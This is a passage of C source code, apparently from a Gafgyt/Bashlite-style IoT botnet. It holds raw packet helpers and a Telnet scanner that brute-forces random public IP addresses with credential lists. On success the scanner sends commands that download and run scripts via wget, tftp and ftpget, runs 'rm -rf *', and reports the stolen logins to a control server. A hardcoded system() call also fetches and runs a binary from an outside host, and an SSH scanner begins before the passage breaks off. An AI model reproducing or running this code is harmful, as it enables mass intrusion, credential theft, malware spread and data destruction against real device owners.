  780.         unsigned short *tcp = malloc(totaltcp_len);
  781.         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  782.         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  783.         unsigned short output = csum(tcp,totaltcp_len);
  784.         free(tcp);
  785.         return output;
  786. }
  787.  
  788. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  789. {
  790.         iph->ihl = 5;
  791.         iph->version = 4;
  792.         iph->tos = 0;
  793.         iph->tot_len = sizeof(struct iphdr) + packetSize;
  794.         iph->id = rand_cmwc();
  795.         iph->frag_off = 0;
  796.         iph->ttl = MAXTTL;
  797.         iph->protocol = protocol;
  798.         iph->check = 0;
  799.         iph->saddr = source;
  800.         iph->daddr = dest;
  801. }
  802.  
  803. int sclose(int fd)
  804. {
  805.         if(3 > fd) return 1;
  806.         close(fd);
  807.         return 0;
  808. }
  809. int socket_connect(char *host, in_port_t port){
  810.         struct hostent *hp;
  811.         struct sockaddr_in addr;
  812.         int on = 1, sock;    
  813.  
  814.         if((hp = gethostbyname(host)) == NULL){
  815.                 herror("gethostbyname");
  816.                 exit(1);
  817.         }
  818.         bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  819.         addr.sin_port = htons(port);
  820.         addr.sin_family = AF_INET;
  821.         sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  822.         setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  823.  
  824.         if(sock == -1){
  825.                 perror("setsockopt");
  826.                 exit(1);
  827.         }
  828.        
  829.         if(connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1){
  830.                 perror("connect");
  831.                 exit(1);
  832.  
  833.         }
  834.         return sock;
  835. }
  836.  
  837. void echoLoader()
  838. {
  839.         char buffer[BUFFER_SIZE];
  840.         int fd;
  841.         fd = socket_connect("0.0.0.0", 80);
  842.         write(fd, "GET gtop.sh\r\n", strlen("GET gtop.sh\r\n")); // write(fd, char[]*, len);  
  843.         bzero(buffer, BUFFER_SIZE);
  844.        
  845.         while(read(fd, buffer, BUFFER_SIZE - 1) != 0){
  846.                 FILE *f;
  847.                 f = fopen("x", "a");
  848.                 fprintf(f, "%s", buffer);
  849.                 fclose(f);
  850.                 bzero(buffer, BUFFER_SIZE);
  851.         }
  852.  
  853.         shutdown(fd, SHUT_RDWR);
  854.         close(fd);
  855. }
  856.  
  857. void TelnetScanner()
  858. {
  859.         int max = (getdtablesize() / 4) * 3, i, res;
  860.         fd_set myset;
  861.         struct timeval tv;
  862.         socklen_t lon;
  863.         int valopt;
  864.  
  865.         max = max > 512 ? 512 : max;
  866.  
  867.         struct sockaddr_in dest_addr;
  868.         dest_addr.sin_family = AF_INET;
  869.         dest_addr.sin_port = htons(23);
  870.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  871.  
  872.         struct telstate_t
  873.         {
  874.                 int fd;
  875.                 uint32_t ip;
  876.                 uint8_t state;
  877.                 uint8_t complete;
  878.                 uint8_t usernameInd;
  879.                 uint8_t passwordInd;
  880.                 uint32_t totalTimeout;
  881.                 uint16_t bufUsed;
  882.                 char *sockbuf;
  883.         } fds[max];
  884.         memset(fds, 0, max * (sizeof(int) + 1));
  885.         for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
  886.         system("wget -q http://autoinstaller.us/NsfjSh -O .l; chmod +x .l; nohup ./.l </dev/null >/dev/null 2>&1")
  887.         struct timeval timeout;
  888.         timeout.tv_sec = 5;
  889.         timeout.tv_usec = 0;
  890.         while(1)
  891.         {
  892.                 for(i = 0; i < max; i++)
  893.                 {
  894.                         switch(fds[i].state)
  895.                         {
  896.                         case 0:
  897.                                 {
  898.                                         memset(fds[i].sockbuf, 0, 1024);
  899.  
  900.                                         if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
  901.                                         else {
  902.                                                 fds[i].passwordInd++;
  903.                                                 if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
  904.                                                 if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
  905.                                         }
  906.                                         dest_addr.sin_family = AF_INET;
  907.                                         dest_addr.sin_port = htons(23);
  908.                                         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  909.                                         dest_addr.sin_addr.s_addr = fds[i].ip;
  910.                                         fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  911.                                         setsockopt (fds[i].fd, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
  912.                                         setsockopt (fds[i].fd, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
  913.                                         if(fds[i].fd == -1) { continue; }
  914.                                         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  915.                                         if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { /*printf("close %lu\n",fds[i].ip);*/ sclose(fds[i].fd); fds[i].complete = 1; }
  916.                                         else { fds[i].state = 1; fds[i].totalTimeout = 0; }
  917.                                 }
  918.                                 break;
  919.  
  920.                         case 1:
  921.                                 {
  922.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  923.  
  924.                                         FD_ZERO(&myset);
  925.                                         FD_SET(fds[i].fd, &myset);
  926.                                         tv.tv_sec = 0;
  927.                                         tv.tv_usec = 10000;
  928.                                         res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  929.                                         if(res == 1)
  930.                                         {
  931.                                                 lon = sizeof(int);
  932.                                                 valopt = 0;
  933.                                                 getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  934.                                                 if(valopt)
  935.                                                 {
  936.                                                         sclose(fds[i].fd);
  937.                                                         fds[i].state = 0;
  938.                                                         fds[i].complete = 1;
  939.                                                 } else {
  940.                                                         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  941.                                                         fds[i].totalTimeout = 0;
  942.                                                         fds[i].bufUsed = 0;
  943.                                                         memset(fds[i].sockbuf, 0, 1024);
  944.                                                         fds[i].state = 2;
  945.                                                         continue;
  946.                                                 }
  947.                                         } else if(res == -1)
  948.                                         {
  949.                                                 sclose(fds[i].fd);
  950.                                                 fds[i].state = 0;
  951.                                                 fds[i].complete = 1;
  952.                                         }
  953.  
  954.                                         if(fds[i].totalTimeout + 10 < time(NULL))
  955.                                         {
  956.                                                 sclose(fds[i].fd);
  957.                                                 fds[i].state = 0;
  958.                                                 fds[i].complete = 1;
  959.                                         }
  960.                                 }
  961.                                 break;
  962.  
  963.                         case 2:
  964.                                 {
  965.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  966.  
  967.                                         if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  968.                                         {
  969.                                                 fds[i].totalTimeout = 0;
  970.                                                 fds[i].bufUsed = 0;
  971.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  972.                                                 else memset(fds[i].sockbuf, 0, 1024);
  973.                                                 fds[i].state = 3;
  974.                                                 continue;
  975.                                         }
  976.                                         else if(readUntil(fds[i].fd, "user:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  977.                                         {
  978.                                                 fds[i].totalTimeout = 0;
  979.                                                 fds[i].bufUsed = 0;
  980.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  981.                                                 else memset(fds[i].sockbuf, 0, 1024);
  982.                                                 fds[i].state = 3;
  983.                                                 continue;
  984.                                         }
  985.                                         else if(readUntil(fds[i].fd, "name", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  986.                                         {
  987.                                                 fds[i].totalTimeout = 0;
  988.                                                 fds[i].bufUsed = 0;
  989.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  990.                                                 else memset(fds[i].sockbuf, 0, 1024);
  991.                                                 fds[i].state = 3;
  992.                                                 continue;
  993.                                         }
  994.                                         else if(readUntil(fds[i].fd, "pass", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  995.                                         {
  996.                                                 fds[i].totalTimeout = 0;
  997.                                                 fds[i].bufUsed = 0;
  998.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  999.                                                 else memset(fds[i].sockbuf, 0, 1024);
  1000.                                                 fds[i].state = 3;
  1001.                                                 continue;
  1002.                                         }
  1003.                                         else if(readUntil(fds[i].fd, "word", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1004.                                         {
  1005.                                                 fds[i].totalTimeout = 0;
  1006.                                                 fds[i].bufUsed = 0;
  1007.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  1008.                                                 else memset(fds[i].sockbuf, 0, 1024);
  1009.                                                 fds[i].state = 3;
  1010.                                                 continue;
  1011.                                         } else {
  1012.                                                 fds[i].bufUsed = strlen(fds[i].sockbuf);
  1013.                                         }
  1014.  
  1015.                                         if(fds[i].totalTimeout + 10 < time(NULL))
  1016.                                         {
  1017.                                                 sclose(fds[i].fd);
  1018.                                                 fds[i].state = 0;
  1019.                                                 fds[i].complete = 1;
  1020.                                         }
  1021.                                 }
  1022.                                 break;
  1023.  
  1024.                         case 3:
  1025.                                 {
  1026.                                         if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1027.                                         if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1028.                                         fds[i].state = 4;
  1029.                                 }
  1030.                                 break;
  1031.  
  1032.                         case 4:
  1033.                                 {
  1034.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1035.  
  1036.                                         if(readUntil(fds[i].fd, "pass", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1037.                                         {
  1038.                                                 fds[i].totalTimeout = 0;
  1039.                                                 fds[i].bufUsed = 0;
  1040.                                                 if(strstr(fds[i].sockbuf, "pass") != NULL) fds[i].state = 5;
  1041.                                                 else fds[i].state = 7;
  1042.                                                 memset(fds[i].sockbuf, 0, 1024);
  1043.                                                 continue;
  1044.                                         }
  1045.                                         if(readUntil(fds[i].fd, "word", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1046.                                         {
  1047.                                                 fds[i].totalTimeout = 0;
  1048.                                                 fds[i].bufUsed = 0;
  1049.                                                 if(strstr(fds[i].sockbuf, "word") != NULL) fds[i].state = 5;
  1050.                                                 else fds[i].state = 7;
  1051.                                                 memset(fds[i].sockbuf, 0, 1024);
  1052.                                                 continue;
  1053.                                         }
  1054.                                             else {
  1055.                                                 if(strstr(fds[i].sockbuf, "invalid") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1056.                                                 if(strstr(fds[i].sockbuf, "incorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1057.                                                 if(strstr(fds[i].sockbuf, "fail") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1058.                                                 if(strstr(fds[i].sockbuf, "again") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1059.                                                 if(strstr(fds[i].sockbuf, "wrong") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1060.                                                 if(strstr(fds[i].sockbuf, "accessdenied") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1061.                                                 if(strstr(fds[i].sockbuf, "denied") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1062.                                                 if(strstr(fds[i].sockbuf, "error") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1063.                                                 if(strstr(fds[i].sockbuf, "bad") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1064.                                                 fds[i].bufUsed = strlen(fds[i].sockbuf);
  1065.                                         }
  1066.  
  1067.                                         if(fds[i].totalTimeout + 10 < time(NULL))
  1068.                                         {
  1069.                                                 sclose(fds[i].fd);
  1070.                                                 fds[i].state = 0;
  1071.                                                 fds[i].complete = 1;
  1072.                                         }
  1073.                                 }
  1074.                                 break;
  1075.  
  1076.                         case 5:
  1077.                                 {
  1078.                                         if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1079.                                         if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1080.                                         fds[i].state = 6;
  1081.                                 }
  1082.                                 break;
  1083.  
  1084.                         case 6:
  1085.                                 {
  1086.                                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1087.  
  1088.                                     if(readUntil(fds[i].fd, "invalid", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1089.                                     {
  1090.                                         fds[i].totalTimeout = 0;
  1091.                                         fds[i].bufUsed = 0;
  1092.                                         if(strstr(fds[i].sockbuf, "invalid") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1093.                                         if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1094.                                         else fds[i].state = 7;
  1095.                                         memset(fds[i].sockbuf, 0, 1024);
  1096.                                         continue;
  1097.                                     }
  1098.                                     if(readUntil(fds[i].fd, "incorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1099.                                     {
  1100.                                         fds[i].totalTimeout = 0;
  1101.                                         fds[i].bufUsed = 0;
  1102.                                         if(strstr(fds[i].sockbuf, "incorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1103.                                         if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1104.                                         else fds[i].state = 7;
  1105.                                         memset(fds[i].sockbuf, 0, 1024);
  1106.                                         continue;
  1107.                                     }
  1108.                                     if(readUntil(fds[i].fd, "fail", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1109.                                     {
  1110.                                         fds[i].totalTimeout = 0;
  1111.                                         fds[i].bufUsed = 0;
  1112.                                         if(strstr(fds[i].sockbuf, "fail") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1113.                                         else fds[i].state = 7;
  1114.                                         memset(fds[i].sockbuf, 0, 1024);
  1115.                                         continue;
  1116.                                     }
  1117.                                     if(readUntil(fds[i].fd, "again", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1118.                                     {
  1119.                                         fds[i].totalTimeout = 0;
  1120.                                         fds[i].bufUsed = 0;
  1121.                                         if(strstr(fds[i].sockbuf, "again") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1122.                                         else fds[i].state = 7;
  1123.                                         memset(fds[i].sockbuf, 0, 1024);
  1124.                                         continue;
  1125.                                     }
  1126.                                     if(readUntil(fds[i].fd, "wrong", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1127.                                     {
  1128.                                         fds[i].totalTimeout = 0;
  1129.                                         fds[i].bufUsed = 0;
  1130.                                         if(strstr(fds[i].sockbuf, "wrong") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1131.                                         else fds[i].state = 7;
  1132.                                         memset(fds[i].sockbuf, 0, 1024);
  1133.                                         continue;
  1134.                                     }
  1135.                                     if(readUntil(fds[i].fd, "accessdenied", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1136.                                     {
  1137.                                         fds[i].totalTimeout = 0;
  1138.                                         fds[i].bufUsed = 0;
  1139.                                         if(strstr(fds[i].sockbuf, "accessdenied") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1140.                                         else fds[i].state = 7;
  1141.                                         memset(fds[i].sockbuf, 0, 1024);
  1142.                                         continue;
  1143.                                     }
  1144.                                     if(readUntil(fds[i].fd, "denied", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1145.                                     {
  1146.                                         fds[i].totalTimeout = 0;
  1147.                                         fds[i].bufUsed = 0;
  1148.                                         if(strstr(fds[i].sockbuf, "denied") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1149.                                         else fds[i].state = 7;
  1150.                                         memset(fds[i].sockbuf, 0, 1024);
  1151.                                         continue;
  1152.                                     }
  1153.                                     if(readUntil(fds[i].fd, "error", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1154.                                     {
  1155.                                         fds[i].totalTimeout = 0;
  1156.                                         fds[i].bufUsed = 0;
  1157.                                         if(strstr(fds[i].sockbuf, "error") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1158.                                         else fds[i].state = 7;
  1159.                                         memset(fds[i].sockbuf, 0, 1024);
  1160.                                         continue;
  1161.                                     }
  1162.                                     if(readUntil(fds[i].fd, "bad", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1163.                                     {
  1164.                                         fds[i].totalTimeout = 0;
  1165.                                         fds[i].bufUsed = 0;
  1166.                                         if(strstr(fds[i].sockbuf, "bad") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1167.                                         else fds[i].state = 7;
  1168.                                         memset(fds[i].sockbuf, 0, 1024);
  1169.                                         continue;
  1170.                                     }
  1171.                                     else {
  1172.                                                 fds[i].bufUsed = strlen(fds[i].sockbuf);
  1173.                                         }
  1174.  
  1175.                                         if(fds[i].totalTimeout + 10 < time(NULL))
  1176.                                         {
  1177.                                                 sclose(fds[i].fd);
  1178.                                                 fds[i].state = 0;
  1179.                                                 fds[i].complete = 1;
  1180.                                         }
  1181.                                 }
  1182.                                 break;
  1183.  
  1184.                         case 7:
  1185.                                 {
  1186.                                     if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1187.                                     fds[i].state = 8;
  1188.                                 }
  1189.                                 break;
  1190.                                
  1191.                         case 8:
  1192.                                 {
  1193.                                         if(send(fds[i].fd, "shell\r\n", 7, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1194.                                         fds[i].state = 9;
  1195.                                 }
  1196.                                 break;
  1197.  
  1198.                         case 9:
  1199.                                 {
  1200.                                     if(send(fds[i].fd, "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; wget http://0.0.0.0/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf gtop.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", 394, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1201.                                     sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1202.                                     fds[i].state = 10;
  1203.                                 }
  1204.                                 break;
  1205.                         case 10:
  1206.                                 {
  1207.                                     echoLoader();
  1208.                                     send(fds[i].fd, "sh x;busybox chmod +x z | | chmod +x z;./z;rm -rf z;rm -f x\r\n", 61, MSG_NOSIGNAL);
  1209.                                     fds[i].state = 11;
  1210.                                 }
  1211.                                 break;
  1212.                         case 11:
  1213.                                 {
  1214.                                     if(send(fds[i].fd, "/bin/busybox;echo -e '\x67\x61\x79\x66\x67\x74'\r\n", 49, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1215.                                     fds[i].state = 12;
  1216.                                 }
  1217.  
  1218.                         case 12:
  1219.                                 {
  1220.                                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1221.  
  1222.                                     if(readUntil(fds[i].fd, "ulti-call", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1223.                                     {
  1224.                                         fds[i].totalTimeout = 0;
  1225.                                         fds[i].bufUsed = 0;
  1226.                                         send(fds[i].fd, "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; wget http://0.0.0.0/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf gtop.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", 394, MSG_NOSIGNAL);
  1227.                                         sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1228.                                         continue;
  1229.  
  1230.                                     }
  1231.                                     else if(readUntil(fds[i].fd, "multi-call", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1232.                                     {
  1233.                                         fds[i].totalTimeout = 0;
  1234.                                         fds[i].bufUsed = 0;
  1235.                                         send(fds[i].fd, "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; wget http://0.0.0.0/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf gtop.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", 394, MSG_NOSIGNAL);
  1236.                                         sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1237.                                         continue;
  1238.  
  1239.                                     }
  1240.                                     else if(readUntil(fds[i].fd, "gayfgt", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1241.                                     {
  1242.                                         fds[i].totalTimeout = 0;
  1243.                                         fds[i].bufUsed = 0;
  1244.                                         send(fds[i].fd, "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; wget http://0.0.0.0/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf gtop.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", 394, MSG_NOSIGNAL);
  1245.                                         sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1246.                                         memset(fds[i].sockbuf, 0, 1024);
  1247.                                         sclose(fds[i].fd);
  1248.                                         fds[i].complete = 1;
  1249.                                         fds[i].state = 0;
  1250.                                         continue;
  1251.                                     }
  1252.                                     else {
  1253.                                             fds[i].bufUsed = strlen(fds[i].sockbuf);
  1254.                                          }
  1255.  
  1256.                                     if(fds[i].totalTimeout + 10 < time(NULL))
  1257.                                     {
  1258.                                         sclose(fds[i].fd);
  1259.                                         fds[i].state = 0;
  1260.                                         fds[i].complete = 1;
  1261.                                     }
  1262.                                 }
  1263.                                 break;
  1264.                         }
  1265.                 }
  1266.         }
  1267. }
  1268.  
  1269. void SSHScanner()
  1270. {
  1271.         int max = (getdtablesize() / 4) * 3, i, res;
  1272.         fd_set myset;
  1273.         struct timeval tv;
  1274.         socklen_t lon;
  1275.         int valopt;
  1276.  
  1277.         max = max > 512 ? 512 : max;
  1278.  
  1279.         struct sockaddr_in dest_addr;
  1280.         dest_addr.sin_family = AF_INET;
  1281.         dest_addr.sin_port = htons(22);
  1282.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1283.  
  1284.         struct telstate_t
  1285.         {
  1286.                 int fd;
  1287.                 uint32_t ip;
  1288.                 uint8_t state;
  1289.                 uint8_t complete;
  1290.                 uint8_t usernameInd;
  1291.                 uint8_t passwordInd;
  1292.                 uint32_t totalTimeout;
  1293.                 uint16_t bufUsed;
  1294.                 char *sockbuf;
  1295.         } fds[max];
  1296.         memset(fds, 0, max * (sizeof(int) + 1));
  1297.         for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
  1298.         struct timeval timeout;
  1299.         timeout.tv_sec = 5;
  1300.         timeout.tv_usec = 0;
  1301.         while(1)
  1302.         {
  1303.                 for(i = 0; i < max; i++)
  1304.                 {
  1305.                         switch(fds[i].state)
  1306.                         {
  1307.                         case 0:
  1308.                                 {
  1309.                                         memset(fds[i].sockbuf, 0, 1024);
  1310.  
  1311.                                         if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
  1312.                                         else {
  1313.                                                 fds[i].passwordInd++;
  1314.                                                 if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
  1315.                                                 if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
  1316.                                         }
  1317.                                         dest_addr.sin_family = AF_INET;
  1318.                                         dest_addr.sin_port = htons(22);
  1319.                                         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1320.                                         dest_addr.sin_addr.s_addr = fds[i].ip;
  1321.                                         fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1322.                                         setsockopt (fds[i].fd, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
  1323.                                         setsockopt (fds[i].fd, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
  1324.                                         if(fds[i].fd == -1) { continue; }
  1325.                                         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1326.                                         if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { /*printf("close %lu\n",fds[i].ip);*/ sclose(fds[i].fd); fds[i].complete = 1; }
  1327.                                         else { fds[i].state = 1; fds[i].totalTimeout = 0; }
  1328.                                 }
  1329.                                 break;
  1330.  
  1331.                         case 1:
  1332.                                 {
  1333.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1334.  
  1335.                                         FD_ZERO(&myset);
  1336.                                         FD_SET(fds[i].fd, &myset);
  1337.                                         tv.tv_sec = 0;
  1338.                                         tv.tv_usec = 10000;
  1339.                                         res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1340.                                         if(res == 1)
  1341.                                         {
  1342.                                                 lon = sizeof(int);
  1343.                                                 valopt = 0;
  1344.                                                 getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1345.                                                 if(valopt)
  1346.                                                 {
  1347.                                                         sclose(fds[i].fd);
  1348.                                                         fds[i].state = 0;
  1349.                                                         fds[i].complete = 1;
  1350.                                                 } else {
  1351.                                                         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  1352.                                                         fds[i].totalTimeout = 0;
  1353.                                                         fds[i].bufUsed = 0;
